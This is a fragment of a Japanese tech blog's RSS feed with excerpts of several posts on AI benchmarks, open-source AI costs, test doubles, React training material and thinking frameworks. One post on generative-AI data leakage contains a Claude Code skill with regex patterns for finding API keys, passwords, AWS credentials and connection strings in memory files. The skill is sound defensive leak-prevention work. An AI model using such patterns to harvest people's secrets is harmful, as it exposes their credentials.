&lt;h3 id="同じモデルでもスキャフォールドで倍近い差"&gt;同じモデルでもスキャフォールドで倍近い差&lt;/h3&gt;
&lt;p&gt;Claude Opus 4.5 は、あるスキャフォールドで &lt;strong&gt;42%&lt;/strong&gt;、別のスキャフォールドで &lt;strong&gt;78%&lt;/strong&gt; を達成しました。同じモデルでも、ハーネスの設計次第で性能が倍近く変わります。&lt;/p&gt;</description></item><item><title>オープンソース AI は「無料」でも「民主化」でもない --- 重みの公開と推論コストの間にある物理法則の壁</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9-ai-%E3%81%AF%E7%84%A1%E6%96%99%E3%81%A7%E3%82%82%E6%B0%91%E4%B8%BB%E5%8C%96%E3%81%A7%E3%82%82%E3%81%AA%E3%81%84---%E9%87%8D%E3%81%BF%E3%81%AE%E5%85%AC%E9%96%8B%E3%81%A8%E6%8E%A8%E8%AB%96%E3%82%B3%E3%82%B9%E3%83%88%E3%81%AE%E9%96%93%E3%81%AB%E3%81%82%E3%82%8B%E7%89%A9%E7%90%86%E6%B3%95%E5%89%87%E3%81%AE%E5%A3%81/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9-ai-%E3%81%AF%E7%84%A1%E6%96%99%E3%81%A7%E3%82%82%E6%B0%91%E4%B8%BB%E5%8C%96%E3%81%A7%E3%82%82%E3%81%AA%E3%81%84---%E9%87%8D%E3%81%BF%E3%81%AE%E5%85%AC%E9%96%8B%E3%81%A8%E6%8E%A8%E8%AB%96%E3%82%B3%E3%82%B9%E3%83%88%E3%81%AE%E9%96%93%E3%81%AB%E3%81%82%E3%82%8B%E7%89%A9%E7%90%86%E6%B3%95%E5%89%87%E3%81%AE%E5%A3%81/</guid><description>&lt;h1 id="オープンソース-ai-は無料でも民主化でもない--重みの公開と推論コストの間にある物理法則の壁"&gt;オープンソース AI は「無料」でも「民主化」でもない &amp;mdash; 重みの公開と推論コストの間にある物理法則の壁&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/kubotamas/status/2028221922279055737"&gt;@kubotamas 氏が X で共有&lt;/a&gt;した、Anthropic CEO Dario Amodei の発言が議論を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AIのオープンソース化は無料でも民主化でもない。モデルの重みをダウンロードすることは出来ても、実際に推論するのにコストがかかる。AIは従来のオープンソースとは本質的に異なる。重みを手に入れても計算資源がなければ、解釈・改変することはできない。オープン化という約束は物理法則の壁で制限されている&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この投稿は、&lt;a href="https://x.com/r0ck3t23/status/2028182717301493777"&gt;@r0ck3t23 氏（Dustin）のツイート&lt;/a&gt;を引用しています。Dustin 氏は Amodei の動画インタビューから「オープンソース AI は無料ではなかった。一度もそうだったことはない」とまとめ、1,200 以上のいいねを集めました。&lt;/p&gt;
&lt;p&gt;本記事では、この「オープンソース AI の幻想」の構造を掘り下げます。&lt;/p&gt;
&lt;h2 id="amodei-の主張--これは-linux-ではない"&gt;Amodei の主張 &amp;mdash; 「これは Linux ではない」&lt;/h2&gt;
&lt;p&gt;Dario Amodei はインタビューの中で明確に述べています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;It&amp;rsquo;s not free. You have to run it on inference and someone has to make it fast on inference.&amp;rdquo;
（無料ではない。推論を実行する必要があり、誰かがそれを推論で高速にする必要がある）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;This is not Linux. You can&amp;rsquo;t see inside.&amp;rdquo;
（これは Linux ではない。中身は見えない）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;従来のオープンソースソフトウェア &amp;mdash; Linux、PostgreSQL、React &amp;mdash; は、ソースコードを読み、理解し、フォークし、改変できます。ノートパソコン 1 台で動かせます。しかし AI モデルの「重み」は、数百ギガバイトの数値の羅列です。ソースコードのように「読んで理解する」ことはできません。&lt;/p&gt;</description></item><item><title>テストダブル完全分類ガイド — Mock, Stub, Spy, Fake, Dummy の違いを図解で理解する</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%86%E3%82%B9%E3%83%88%E3%83%80%E3%83%96%E3%83%AB%E5%AE%8C%E5%85%A8%E5%88%86%E9%A1%9E%E3%82%AC%E3%82%A4%E3%83%89-mock-stub-spy-fake-dummy-%E3%81%AE%E9%81%95%E3%81%84%E3%82%92%E5%9B%B3%E8%A7%A3%E3%81%A7%E7%90%86%E8%A7%A3%E3%81%99%E3%82%8B/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%86%E3%82%B9%E3%83%88%E3%83%80%E3%83%96%E3%83%AB%E5%AE%8C%E5%85%A8%E5%88%86%E9%A1%9E%E3%82%AC%E3%82%A4%E3%83%89-mock-stub-spy-fake-dummy-%E3%81%AE%E9%81%95%E3%81%84%E3%82%92%E5%9B%B3%E8%A7%A3%E3%81%A7%E7%90%86%E8%A7%A3%E3%81%99%E3%82%8B/</guid><description>&lt;h1 id="テストダブル完全分類ガイド--mock-stub-spy-fake-dummy-の違いを図解で理解する"&gt;テストダブル完全分類ガイド — Mock, Stub, Spy, Fake, Dummy の違いを図解で理解する&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/t_wada/status/2028045101487059281"&gt;t_wada 氏（和田卓人氏）のポスト&lt;/a&gt;が、テストダブルの分類について「混乱しがちなテストダブルの分類については、この図がおすすめです」と NTT の解説記事を紹介しています。テストダブルという用語は現場でよく使われますが、「全部モックと呼んでしまう」「Stub と Mock の違いが曖昧」という混乱が起きがちです。この記事では、xUnit Test Patterns に基づく正確な分類を整理します。&lt;/p&gt;
&lt;h2 id="テストダブルとは"&gt;テストダブルとは&lt;/h2&gt;
&lt;p&gt;テストダブルは、映画のスタントダブル（代役）から名付けられた用語です。テスト対象のコード（SUT: System Under Test）が依存するコンポーネント（DOC: Depended-on Component）の「身代わり」として使うオブジェクトの総称です。&lt;/p&gt;
&lt;p&gt;Gerard Meszaros が著書 &lt;a href="http://xunitpatterns.com/"&gt;xUnit Test Patterns&lt;/a&gt; で体系化し、&lt;a href="https://martinfowler.com/articles/mocksArentStubs.html"&gt;Martin Fowler が &amp;ldquo;Mocks Aren&amp;rsquo;t Stubs&amp;rdquo;&lt;/a&gt; で広めました。&lt;/p&gt;
&lt;h3 id="なぜテストダブルが必要か"&gt;なぜテストダブルが必要か&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;外部依存の排除&lt;/strong&gt;: データベース、外部 API、ファイルシステムなどの影響を受けずにテストできる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;再現困難な条件のテスト&lt;/strong&gt;: ネットワーク障害、ディスクエラーなどの例外条件を再現できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テスト速度の向上&lt;/strong&gt;: メモリ上で動作するため高速に実行でき、並列動作も容易&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;決定性の確保&lt;/strong&gt;: 外部環境に左右されない安定したテスト結果を得られる&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sut-と-doc-の関係"&gt;SUT と DOC の関係&lt;/h2&gt;
&lt;p&gt;テストダブルの分類を理解するには、まず情報の流れを整理する必要があります。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;テスト → [直接入力] → SUT → [直接出力] → テスト
↕
[間接入力/間接出力]
↕
DOC
&lt;/code&gt;&lt;/pre&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;用語&lt;/th&gt;
&lt;th&gt;意味&lt;/th&gt;
&lt;th&gt;例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SUT (System Under Test)&lt;/td&gt;
&lt;td&gt;テスト対象&lt;/td&gt;
&lt;td&gt;テストしたいクラス・関数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DOC (Depended-on Component)&lt;/td&gt;
&lt;td&gt;SUT が依存するもの&lt;/td&gt;
&lt;td&gt;DB、外部 API、時刻関数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;直接入力&lt;/td&gt;
&lt;td&gt;テストから SUT に渡す値&lt;/td&gt;
&lt;td&gt;関数の引数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;直接出力&lt;/td&gt;
&lt;td&gt;SUT からテストに返る値&lt;/td&gt;
&lt;td&gt;関数の戻り値&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;間接入力&lt;/td&gt;
&lt;td&gt;DOC から SUT に渡される値&lt;/td&gt;
&lt;td&gt;DB のクエリ結果、API のレスポンス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;間接出力&lt;/td&gt;
&lt;td&gt;SUT から DOC に渡す値&lt;/td&gt;
&lt;td&gt;DB への書き込み、API へのリクエスト&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;テストダブルは、&lt;strong&gt;間接入力と間接出力のどちらを制御するか&lt;/strong&gt;で分類されます。&lt;/p&gt;</description></item><item><title>リクルート新卒研修の React 資料が「無料で最高の教材」と言われる理由</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%AA%E3%82%AF%E3%83%AB%E3%83%BC%E3%83%88%E6%96%B0%E5%8D%92%E7%A0%94%E4%BF%AE%E3%81%AE-react-%E8%B3%87%E6%96%99%E3%81%8C%E7%84%A1%E6%96%99%E3%81%A7%E6%9C%80%E9%AB%98%E3%81%AE%E6%95%99%E6%9D%90%E3%81%A8%E8%A8%80%E3%82%8F%E3%82%8C%E3%82%8B%E7%90%86%E7%94%B1/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%AA%E3%82%AF%E3%83%AB%E3%83%BC%E3%83%88%E6%96%B0%E5%8D%92%E7%A0%94%E4%BF%AE%E3%81%AE-react-%E8%B3%87%E6%96%99%E3%81%8C%E7%84%A1%E6%96%99%E3%81%A7%E6%9C%80%E9%AB%98%E3%81%AE%E6%95%99%E6%9D%90%E3%81%A8%E8%A8%80%E3%82%8F%E3%82%8C%E3%82%8B%E7%90%86%E7%94%B1/</guid><description>&lt;h1 id="リクルート新卒研修の-react-資料が無料で最高の教材と言われる理由"&gt;リクルート新卒研修の React 資料が「無料で最高の教材」と言われる理由&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/sigumataityouda/status/2028111546975760640"&gt;sigumataityouda 氏のポスト&lt;/a&gt;が、リクルートの新卒研修資料を「React を語る上で欠かせないもの」「完成度が非常に高い」と紹介しています。リクルートは 2017 年から毎年、新卒エンジニア向け研修資料を無料公開しており、React 研修資料は特に業界で高く評価されています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;React語る上で欠かせないものとしてリクルートの新卒研修資料というのもがある。完成度が非常に高い。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="リクルートの-react-研修資料とは"&gt;リクルートの React 研修資料とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://speakerdeck.com/recruitengineers/react-yan-xiu-2024"&gt;React 研修 (2024)&lt;/a&gt; は、リクルートのエンジニアコース新卒研修「BootCamp」で使われている講義資料です。約 170 スライド以上で構成され、Speaker Deck で無料公開されています。&lt;/p&gt;
&lt;h3 id="研修の位置づけ"&gt;研修の位置づけ&lt;/h3&gt;
&lt;p&gt;リクルートの新卒エンジニアは配属前に約 3 ヶ月間の BootCamp を受講します。&lt;a href="https://techblog.recruit.co.jp/article-4635/"&gt;2024 年度は 24 講座以上&lt;/a&gt;が開講されており、React 研修はフロントエンド技術スタックの中核として位置づけられています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;研修カテゴリ&lt;/th&gt;
&lt;th&gt;主な講座&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;フロントエンド&lt;/td&gt;
&lt;td&gt;JavaScript、TypeScript、&lt;strong&gt;React&lt;/strong&gt;、Next.js&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;バックエンド&lt;/td&gt;
&lt;td&gt;データベース設計、API 設計&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;品質・テスト&lt;/td&gt;
&lt;td&gt;テスト駆動開発（講師: t_wada 氏）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;セキュリティ&lt;/td&gt;
&lt;td&gt;セキュリティ演習&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI&lt;/td&gt;
&lt;td&gt;テキスト生成 AI 活用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;マインドセット&lt;/td&gt;
&lt;td&gt;ソフトウェアエンジニアとしての姿勢と心構え&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;最初の講座「ソフトウェアエンジニアとしての姿勢と心構え」は、技術顧問の t_wada 氏が担当し、「技術の学び方を学ぶ」ことに重点を置いています。&lt;/p&gt;
&lt;h2 id="資料の構成"&gt;資料の構成&lt;/h2&gt;
&lt;p&gt;React 研修資料は 5 つのセクションで構成されています。&lt;/p&gt;
&lt;h3 id="1-web-アプリ開発の変遷"&gt;1. Web アプリ開発の変遷&lt;/h3&gt;
&lt;p&gt;React を学ぶ前に、Web アプリケーション開発がどう進化してきたかを整理します。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;世代&lt;/th&gt;
&lt;th&gt;アーキテクチャ&lt;/th&gt;
&lt;th&gt;特徴&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;第 1 世代&lt;/td&gt;
&lt;td&gt;MPA（クラシック SSR）&lt;/td&gt;
&lt;td&gt;サーバーが HTML を生成、ページ遷移ごとにリロード&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第 2 世代&lt;/td&gt;
&lt;td&gt;MPA + jQuery&lt;/td&gt;
&lt;td&gt;DOM 操作で部分的な動的 UI を実現&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第 3 世代&lt;/td&gt;
&lt;td&gt;SPA（CSR のみ）&lt;/td&gt;
&lt;td&gt;クライアントで描画、リッチな UX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第 4 世代&lt;/td&gt;
&lt;td&gt;SPA（CSR + 事前レンダリング）&lt;/td&gt;
&lt;td&gt;SSR / SSG で初期表示を高速化&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;この変遷を理解することで、「なぜ React が必要になったのか」という文脈が掴めます。jQuery 時代の命令的 UI と React の宣言的 UI の違いを、歴史的な流れの中で説明しているのが特徴です。&lt;/p&gt;</description></item><item><title>生成AIで情報漏えいが増える本当の理由 — 「検索者がAIになった」時代の脅威モデルと3層防御</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E7%94%9F%E6%88%90ai%E3%81%A7%E6%83%85%E5%A0%B1%E6%BC%8F%E3%81%88%E3%81%84%E3%81%8C%E5%A2%97%E3%81%88%E3%82%8B%E6%9C%AC%E5%BD%93%E3%81%AE%E7%90%86%E7%94%B1-%E6%A4%9C%E7%B4%A2%E8%80%85%E3%81%8Cai%E3%81%AB%E3%81%AA%E3%81%A3%E3%81%9F%E6%99%82%E4%BB%A3%E3%81%AE%E8%84%85%E5%A8%81%E3%83%A2%E3%83%87%E3%83%AB%E3%81%A83%E5%B1%A4%E9%98%B2%E5%BE%A1/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E7%94%9F%E6%88%90ai%E3%81%A7%E6%83%85%E5%A0%B1%E6%BC%8F%E3%81%88%E3%81%84%E3%81%8C%E5%A2%97%E3%81%88%E3%82%8B%E6%9C%AC%E5%BD%93%E3%81%AE%E7%90%86%E7%94%B1-%E6%A4%9C%E7%B4%A2%E8%80%85%E3%81%8Cai%E3%81%AB%E3%81%AA%E3%81%A3%E3%81%9F%E6%99%82%E4%BB%A3%E3%81%AE%E8%84%85%E5%A8%81%E3%83%A2%E3%83%87%E3%83%AB%E3%81%A83%E5%B1%A4%E9%98%B2%E5%BE%A1/</guid><description>&lt;hr&gt;
&lt;h2 id="auto-memory-や-claudemd-への機密混入env-の-gitignore-漏れ機密ファイルの存在などを検査する"&gt;name: security-check
description: Claude Code 利用における情報漏えいリスクをチェックする。
Auto Memory や CLAUDE.md への機密混入、.env の gitignore 漏れ、機密ファイルの存在などを検査する。&lt;/h2&gt;
&lt;p&gt;Claude Code の利用に関する情報漏えいリスクをチェックしてください。&lt;/p&gt;
&lt;h2 id="チェック対象"&gt;チェック対象&lt;/h2&gt;
&lt;p&gt;以下の 4 カテゴリを順番に検査する。&lt;/p&gt;
&lt;h3 id="1-auto-memory-の機密スキャン"&gt;1. Auto Memory の機密スキャン&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;~/.claude/&lt;/code&gt; 配下の memory ファイルを検査する:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;以下のパスを Glob で列挙する:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;~/.claude/projects/*/memory/*.md&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.claude/projects/*/memory/**/*.md&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;各ファイルを Read で読み込み、以下のパターンを Grep で検出する:
&lt;ul&gt;
&lt;li&gt;API キー・トークン: &lt;code&gt;(?i)(api[_-]?key|secret[_-]?key|access[_-]?token|bearer)\s*[:=]\s*\S+&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;パスワード: &lt;code&gt;(?i)(password|passwd|pwd)\s*[:=]\s*\S+&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;AWS 認証情報: &lt;code&gt;(?i)(AKIA[0-9A-Z]{16}|aws[_-]?secret)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;接続文字列: &lt;code&gt;(?i)(mysql|postgres|redis|mongodb):\/\/\S+&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;個人情報パターン: メールアドレス、電話番号、マイナンバーらしき数字列&lt;/li&gt;
&lt;li&gt;金額・契約情報: &lt;code&gt;(?i)(契約金額|単価|請求|売上)\s*[:：]\s*[\d,￥¥$]+&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;顧客 ID の具体値: &lt;code&gt;(?i)(顧客id|customer[_-]?id|ユーザーid|user[_-]?id)\s*[:=：]\s*\d+&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;検出があれば、ファイルパス・行番号・該当箇所を報告する&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="2-claudemd-の機密スキャン"&gt;2. CLAUDE.md の機密スキャン&lt;/h3&gt;
&lt;p&gt;プロジェクトの &lt;code&gt;CLAUDE.md&lt;/code&gt; およびグローバルの &lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt; を検査する:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;両ファイルを Read で読み込む&lt;/li&gt;
&lt;li&gt;チェック 1 と同じパターンで Grep 検査する&lt;/li&gt;
&lt;li&gt;加えて、以下も確認する:
&lt;ul&gt;
&lt;li&gt;URL にトークンやキーが含まれていないか（&lt;code&gt;?token=&lt;/code&gt;, &lt;code&gt;?key=&lt;/code&gt;, &lt;code&gt;?secret=&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;内部 IP アドレスやホスト名が含まれていないか&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;CLAUDE.md はリポジトリにコミットされるため、検出時は&lt;strong&gt;即時対応を推奨&lt;/strong&gt;として強調する&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="3-機密ファイルの-gitignore-チェック"&gt;3. 機密ファイルの gitignore チェック&lt;/h3&gt;
&lt;p&gt;プロジェクトルートで以下を確認する:&lt;/p&gt;</description></item><item><title>東京大学が無料公開した「思考の解像度を上げる」全118スライド -- 深さ・広さ・構造・時間の4軸フレームワーク</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E6%9D%B1%E4%BA%AC%E5%A4%A7%E5%AD%A6%E3%81%8C%E7%84%A1%E6%96%99%E5%85%AC%E9%96%8B%E3%81%97%E3%81%9F%E6%80%9D%E8%80%83%E3%81%AE%E8%A7%A3%E5%83%8F%E5%BA%A6%E3%82%92%E4%B8%8A%E3%81%92%E3%82%8B%E5%85%A8118%E3%82%B9%E3%83%A9%E3%82%A4%E3%83%89--%E6%B7%B1%E3%81%95%E5%BA%83%E3%81%95%E6%A7%8B%E9%80%A0%E6%99%82%E9%96%93%E3%81%AE4%E8%BB%B8%E3%83%95%E3%83%AC%E3%83%BC%E3%83%A0%E3%83%AF%E3%83%BC%E3%82%AF/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E6%9D%B1%E4%BA%AC%E5%A4%A7%E5%AD%A6%E3%81%8C%E7%84%A1%E6%96%99%E5%85%AC%E9%96%8B%E3%81%97%E3%81%9F%E6%80%9D%E8%80%83%E3%81%AE%E8%A7%A3%E5%83%8F%E5%BA%A6%E3%82%92%E4%B8%8A%E3%81%92%E3%82%8B%E5%85%A8118%E3%82%B9%E3%83%A9%E3%82%A4%E3%83%89--%E6%B7%B1%E3%81%95%E5%BA%83%E3%81%95%E6%A7%8B%E9%80%A0%E6%99%82%E9%96%93%E3%81%AE4%E8%BB%B8%E3%83%95%E3%83%AC%E3%83%BC%E3%83%A0%E3%83%AF%E3%83%BC%E3%82%AF/</guid><description>&lt;h1 id="東京大学が無料公開した思考の解像度を上げる全118スライド--深さ広さ構造時間の4軸フレームワーク"&gt;東京大学が無料公開した「思考の解像度を上げる」全118スライド &amp;ndash; 深さ・広さ・構造・時間の4軸フレームワーク&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/macopeninsutaba/status/2027735285543616514"&gt;@MacopeninSUTABA（かずなり｜生成AI×ビジネスハック）氏のポスト&lt;/a&gt;が話題です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;東京大学が無料公開した「思考の解像度を上げる全ノウハウ」が凝縮された資料が有益。「解像度が低い＝深さ・広さ・構造・時間の不足」という定義から、分析を劇的に深めるテクニック、そして「実装可能」なレベルまで鮮明にする方法まで、余すことなく学べる。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;東京大学 FoundX ディレクター・馬田隆明氏が SpeakerDeck で公開しているスライド「解像度を上げる」は、累計 570 万回以上閲覧された「神スライド」として知られています。本記事では、このスライドの核心である「4つの視点」と「48の実践パターン」を掘り下げます。&lt;/p&gt;
&lt;h2 id="解像度とは何か"&gt;「解像度」とは何か&lt;/h2&gt;
&lt;p&gt;ビジネスの現場で「あの人は解像度が高い」という表現を耳にすることが増えました。馬田氏はこの「解像度」を次のように定義しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;顧客の状況や課題、次に取るべきアクションが鮮明に見えている状態&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;逆に、解像度が低いとは「思考や事実認識が粗い」状態です。つまり、課題を構成要素に分解できておらず、各要素の理解が浅い状態を指します。&lt;/p&gt;
&lt;p&gt;重要なのは、解像度は単に「知識量が多い」ことではないという点です。情報を持っていても、それを構造化し、深く掘り下げ、時間軸で捉えられなければ、解像度は低いままです。&lt;/p&gt;
&lt;h2 id="4つの視点"&gt;4つの視点&lt;/h2&gt;
&lt;p&gt;スライドの中核をなすのが、解像度を構成する 4 つの視点です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;視点&lt;/th&gt;
&lt;th&gt;問い&lt;/th&gt;
&lt;th&gt;低い状態&lt;/th&gt;
&lt;th&gt;高い状態&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;深さ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;なぜそうなるのか？&lt;/td&gt;
&lt;td&gt;表面的な症状だけを見ている&lt;/td&gt;
&lt;td&gt;根本原因まで掘り下げている&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;広さ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;他にどんな可能性があるか？&lt;/td&gt;
&lt;td&gt;1つのアプローチしか検討していない&lt;/td&gt;
&lt;td&gt;複数の視点・手法を比較している&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;構造&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;要素間の関係はどうか？&lt;/td&gt;
&lt;td&gt;情報がバラバラで整理されていない&lt;/td&gt;
&lt;td&gt;因果関係と優先順位が明確&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;時間&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;過去から未来へどう変化するか？&lt;/td&gt;
&lt;td&gt;現在のスナップショットだけ&lt;/td&gt;
&lt;td&gt;経時変化とプロセスを捉えている&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;馬田氏が繰り返し強調するのは、&lt;strong&gt;4 つの視点のうち最も不足しがちなのは「深さ」である&lt;/strong&gt;という点です。多くの人は課題を広く浅く捉えることはできても、1 つの課題を徹底的に掘り下げることが不十分だと指摘しています。&lt;/p&gt;
&lt;h2 id="問題と解決策の両面で解像度を上げる"&gt;問題と解決策の両面で解像度を上げる&lt;/h2&gt;
&lt;p&gt;このフレームワークのもう一つの特徴は、解像度を&lt;strong&gt;問題側&lt;/strong&gt;と&lt;strong&gt;解決策側&lt;/strong&gt;の 2 軸で捉える点です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; 問題の解像度 解決策の解像度
深さ 根本原因の特定 実装の具体性
広さ 顧客セグメントの網羅 代替手段の検討
構造 課題間の因果関係 アーキテクチャ設計
時間 課題の変遷 ロードマップ
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;ビジネスで価値を生むには、「顧客の課題」と「それに対応する解決策」の両方の解像度を上げる必要があります。どちらか一方だけでは不十分です。&lt;/p&gt;
&lt;h2 id="48-の実践パターン"&gt;48 の実践パターン&lt;/h2&gt;
&lt;p&gt;書籍版では、4 つの視点ごとに具体的なアクションが「型」として整理されています。「情報 × 思考 × 行動」を組み合わせた 48 のパターンです。代表的なものを紹介します。&lt;/p&gt;</description></item><item><title># 組織の課題管理から個人のタスク整理と優先度づけへ — Claude Code によるタスクトリアージ</title><link>https://hdknr.github.io/blogs/posts/2026/03/%23-%E7%B5%84%E7%B9%94%E3%81%AE%E8%AA%B2%E9%A1%8C%E7%AE%A1%E7%90%86%E3%81%8B%E3%82%89%E5%80%8B%E4%BA%BA%E3%81%AE%E3%82%BF%E3%82%B9%E3%82%AF%E6%95%B4%E7%90%86%E3%81%A8%E5%84%AA%E5%85%88%E5%BA%A6%E3%81%A5%E3%81%91%E3%81%B8-claude-code-%E3%81%AB%E3%82%88%E3%82%8B%E3%82%BF%E3%82%B9%E3%82%AF%E3%83%88%E3%83%AA%E3%82%A2%E3%83%BC%E3%82%B8/</link><pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%23-%E7%B5%84%E7%B9%94%E3%81%AE%E8%AA%B2%E9%A1%8C%E7%AE%A1%E7%90%86%E3%81%8B%E3%82%89%E5%80%8B%E4%BA%BA%E3%81%AE%E3%82%BF%E3%82%B9%E3%82%AF%E6%95%B4%E7%90%86%E3%81%A8%E5%84%AA%E5%85%88%E5%BA%A6%E3%81%A5%E3%81%91%E3%81%B8-claude-code-%E3%81%AB%E3%82%88%E3%82%8B%E3%82%BF%E3%82%B9%E3%82%AF%E3%83%88%E3%83%AA%E3%82%A2%E3%83%BC%E3%82%B8/</guid><description>&lt;h1 id="組織の課題管理から個人のタスク整理と優先度づけへ--claude-code-によるタスクトリアージ"&gt;組織の課題管理から個人のタスク整理と優先度づけへ — Claude Code によるタスクトリアージ&lt;/h1&gt;
&lt;h2 id="各システムの役割と利用者"&gt;各システムの役割と利用者&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;システム&lt;/th&gt;
&lt;th&gt;主な利用者&lt;/th&gt;
&lt;th&gt;目的&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Backlog&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;利用者側の責任者・管理部門&lt;/td&gt;
&lt;td&gt;利用者が課題を把握・確認するため&lt;/td&gt;
&lt;/tr&gt;
